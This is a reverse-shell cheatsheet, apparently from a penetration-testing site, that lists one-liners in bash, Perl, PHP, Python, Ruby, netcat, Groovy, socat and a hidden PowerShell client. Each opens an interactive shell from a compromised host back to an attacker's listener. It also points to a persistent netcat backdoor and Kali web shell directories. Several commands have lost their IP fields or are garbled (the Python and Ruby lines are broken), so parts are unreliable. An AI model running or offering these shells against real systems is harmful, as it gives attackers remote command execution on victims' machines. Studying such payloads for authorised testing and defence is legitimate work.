Reverse Shell Cheatsheet

When penetration testing, hackers often find themselves in a compromised system with a command execution vulnerability. Whenever the opportunity persists, the attacker must establish a reverse shell.

A reverse shell is an (insecure) shell session which establishes a connection initiated by a remote host. This is a type of shell where the attacker may communicate back to the remote host.

The attacking machine essentially acts as a client whilst the remote host acts as the server, creating a communication port on the victim. Once this connection has been established, the attacker can remotely execute commands.

The attacking machine listens on a port which the connection is established on.

This article will outline the most common reverse shells that can be used. Depending on what is available on the target system, one of the following scripting languages must be chosen.

Please refer to the bottom of this page for web shells in Kali Linux.


bash -i >& /dev/tcp/ 0>&1


perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


Please note, this assumes a TCP connection uses file descriptor 3.

 php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");' 

If a .php file is needed for a payload, refer to this website for some examples. You can also find some in the web shells directory on Kali Linux.


Python 2.7

 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

Refer to this website for more information about python reverse shells.


ruby -rsocket -e'"",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


If an attacker is lucky enough to find netcat on the compromised system, Netcat can be used to gain a reverse shell. If possible, installing the windows binary nc.exe can allow an attacker a persistent netcat backdoor. Read more about this here.

nc -e /bin/sh 1234

If the incorrect version of netcat is installed, this command may be used to get a reverse shell. Please refer to this website for more information.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f


r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])



socat file:`tty`,raw,echo=0 TCP-L:port


/dev/shm exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip-address:port


powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("ip-address",port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Kali Linux Web Shell Files

Kali Linux has a variety of pre-installed web shells.


The above directory contains files which establish a reverse shell, some of which include:

php: /usr/share/webshells/php/

Perl: /usr/share/webshells/perl/

Cold Fusion: /usr/share/webshells/cfm/

ASP: /usr/share/webshells/asp/

JSP: /usr/share/webshells/jsp/